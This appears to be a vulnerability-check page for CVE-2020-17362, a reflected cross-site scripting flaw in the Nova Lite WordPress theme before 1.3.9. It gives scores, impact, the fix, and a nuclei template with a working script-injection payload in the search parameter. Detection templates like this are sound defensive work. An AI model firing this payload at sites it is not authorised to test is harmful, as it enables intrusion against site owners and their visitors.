Nova Lite < 1.3.9 - Cross-Site Scripting

mediumseverity

6.1CVSS score

2.9%likelihood of exploitation, next 30 days

87%of all CVEs are less likely

Readycheck to confirm it

Nova Lite before 1.3.9 for WordPress is susceptible to reflected cross-site scripting via search.php.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.

Fix

Upgrade to Nova Lite version 1.3.9 or later to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/?s=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
Positive when: contains "</script><script>alert(document.domain)</script>" AND contains "nova-lite" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2020-17362 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2020-17362

info:
  name: Nova Lite < 1.3.9 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: Nova Lite before 1.3.9 for WordPress is susceptible to reflected cross-site scripting via search.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to Nova Lite version 1.3.9 or later to mitigate this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/30a83491-2f59-4c41-98bd-a9e6e5a609d4
    - https://nvd.nist.gov/vuln/detail/CVE-2020-17362
    - https://themes.trac.wordpress.org/browser/nova-lite/1.3.9/readme.txt?rev=134076
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-17362
    cwe-id: CWE-79
    epss-score: 0.02873
    epss-percentile: 0.86934
    cpe: cpe:2.3:a:themeinprogress:nova_lite:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: themeinprogress
    product: nova_lite
    framework: wordpress
  tags: cve2020,cve,wordpress,xss,wp-plugin,wpscan,unauth,themeinprogress,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/?s=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: body
        words:
          - "nova-lite"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from